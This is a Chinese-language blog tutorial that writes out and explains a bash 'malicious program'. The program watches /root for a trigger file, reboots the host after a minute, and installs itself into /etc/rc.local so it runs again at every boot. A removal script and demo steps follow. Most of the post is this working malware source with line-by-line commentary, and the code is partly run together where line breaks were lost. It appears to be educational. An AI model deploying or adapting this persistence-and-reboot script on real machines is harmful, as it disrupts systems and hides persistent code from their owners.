🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 1 需求
- 2 linux 实现需求
- 2.1 恶意程序 linux.sh 源码
- 2.1.1 恶意程序 linux.sh 源码
- 2.1.2 恶意程序 linux.sh 源码讲解
- 2.2 清除程序 linux-kill.sh 源码
- 2.2.1 清除程序 linux-kill.sh 源码
- 2.2.2 清除程序 linux-kill.sh 源码讲解
- 2.3 演示
- 2.3.1 恶意程序linux.sh
- 2.3.2 清除程序linux-kill.sh
- 2.3.3 恶意文件a.txt
- 2.3.4 操作步骤
- 2.3.4.1 后台运行恶意程序
- 2.3.4.2 特定文件移动到特定目录
- 2.3.4.3 恶意程序监测到特定文件
- 2.3.4.4 恶意程序监测到特定文件后重启操作执行成功
- 2.3.4.5 清除程序 linux-kill.sh 清除恶意程序
- 2.3.4.6 操作系统再次重启
- 2.3.4.7 查看 rc.local
- 相关资源
1 需求
需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D
2 linux 实现需求
恶意程序
linux.sh
监测特定目录/root
出现特定文件a.txt
执行恶意操作reboot
2.1 恶意程序 linux.sh 源码
2.1.1 恶意程序 linux.sh 源码
#!/bin/bash# 监控的目录
monitored_directory="/root"a=truewhile $a; do# 遍历目录中的文件for file in "$monitored_directory"/*; do# 检查文件是否为a.txtif [ "$(basename "$file")" = "a.txt" ]; thenecho "a.txt 文件已出现在目录中!"sleep 60secho "您的主机将在一分钟后重启!" reboot a=falsecat > /etc/rc.local << '__EOF__'
#!/bin/bash
sh /root/linux.sh &
exit 0
__EOF__echo "illegal 命令注入成功!" chmod +x /etc/rc.localsystemctl daemon-reloadsystemctl enable rc-localfidone# 可以添加一些延时,避免过于频繁的遍历sleep 1
done
2.1.2 恶意程序 linux.sh 源码讲解
这个脚本的主要功能是监控指定目录(/root)中的文件变化,当检测到名为 a.txt 的文件出现时,执行一系列操作。以下是对脚本的详细解释:
1.定义监控目录:monitored_directory="/root"
:设置要监控的目录为 /root。
2.初始化变量:a=true
:初始化一个布尔变量 a 为 true,用于控制 while 循环。
3.进入无限循环:while $a; do
:使用 while 循环不断检查目录中的文件。
4.遍历目录中的文件:for file in "$monitored_directory"/*; do
:使用 for 循环遍历 /root 目录中的所有文件。
5.检查文件是否为 a.txt:if [ "$(basename "$file")" = "a.txt" ]; then
:使用 if 语句检查当前文件名是否为 a.txt。
6.如果找到 a.txt 文件:
输出提示信息:echo "a.txt 文件已出现在目录中!"
等待 60 秒:sleep 60s
输出重启提示信息:echo "您的主机将在一分钟后重启!"
重启系统:reboot
修改变量 a 为 false,退出循环:a=false
创建或覆盖 /etc/rc.local 文件,并写入启动命令:
echo "illegal 命令注入成功!"
:修改/etc/rc.local
文件权限为可执行: bash
chmod +x /etc/rc.local
: 重新加载 systemd 守护进程配置: bash
systemctl daemon-reload
:启用rc-local
服务: bash
systemctl enable rc-local
7.添加延时避免频繁遍历:sleep 1
:在每次循环结束后等待 1 秒,避免过于频繁地遍历目录。
2.2 清除程序 linux-kill.sh 源码
2.2.1 清除程序 linux-kill.sh 源码
#!/bin/bashsudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令file_path="/root/linux.sh"if [ -f "$file_path" ]; thenrm "$file_path"echo "成功删除文件 $file_path"
elseecho "文件 $file_path 不存在"
fi
2.2.2 清除程序 linux-kill.sh 源码讲解
#!/bin/bash
这行是Shebang(#!),它告诉操作系统使用哪个解释器来运行这个脚本。在这里,/bin/bash表示使用Bash解释器。
sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令
这两行代码的作用是修改/etc/rc.local文件,删除其中包含特定字符串的命令。具体来说:
sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
:使用sed命令编辑/etc/rc.local文件,删除所有匹配sh /root/linux.sh &的行。-i选项表示直接在文件中进行修改。
echo 成功删除/etc/rc.local中illegal命令
:输出一条消息,表示已经成功删除了非法命令。
file_path="/root/linux.sh"
:定义一个变量file_path,其值为/root/linux.sh,即要检查和删除的文件路径。
if [ -f "$file_path" ]; thenrm "$file_path"echo "成功删除文件 $file_path"
elseecho "文件 $file_path 不存在"
fi
这段代码是一个条件判断语句,用于检查文件是否存在并执行相应的操作:
if [ -f "$file_path" ]; then
:检查$file_path
指定的文件是否存在且是一个普通文件。
rm "$file_path"
:如果文件存在,则删除该文件。
echo "成功删除文件 $file_path"
:输出一条消息,表示文件已成功删除。
else
:如果文件不存在,则执行以下代码块。
echo "文件 $file_path 不存在"
:输出一条消息,表示文件不存在。
2.3 演示
2.3.1 恶意程序linux.sh
2.3.2 清除程序linux-kill.sh
目前恶意程序 linux.sh 放在 root 目录下,这个恶意程序是你放在哪个目录都行
2.3.3 恶意文件a.txt
目前恶意程序 linux-kill.sh 放在 root 目录下,这个清除程序是你放在哪个目录都行
2.3.4 操作步骤
2.3.4.1 后台运行恶意程序
&
表示后台运行,运行之后会一直监测特定的目录/root
sh /root/linux.sh &
2.3.4.2 特定文件移动到特定目录
模拟特定目录出现特定文件,将我提前准备好的
a.txt
复制到特定目录/root
下
cp /root/Desktop/a.txt /root/a.txt
2.3.4.3 恶意程序监测到特定文件
我们之前在后台执行得恶意程序监测到文件,回显
a.txt文件已出现在目录中!
2.3.4.4 恶意程序监测到特定文件后重启操作执行成功
等了一分钟之后,系统成功重启,说明恶意程序监测到特定文件后重启操作执行成功
2.3.4.5 清除程序 linux-kill.sh 清除恶意程序
回显内容如下:
成功删除/etc/rc.local中非法命令
成功删除文件/root/linux.sh
./linux-kill.sh
2.3.4.6 操作系统再次重启
因为写入了自启动文件只要启动他就会去执行那个程序,然后他程序里面的恶意操作,就是一分钟后关机。
然后我们清除的一个动作是在他执行程序执行那个恶意程序之后,我们才执行的清除操作,所以说他还会再有一次重启的操作。
2.3.4.7 查看 rc.local
再次查看
rc.local
,发现rc.local
里面的恶意命令已经被删除
注意:如果查看的时候发现还是存在,可以再次执行linux-kill.sh
文件进行删除
如果在第一次执行linux-kill.sh
的时候比操作系统启动项执行得更快就需要再次执行linux-kill.sh
删除
相关资源
shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)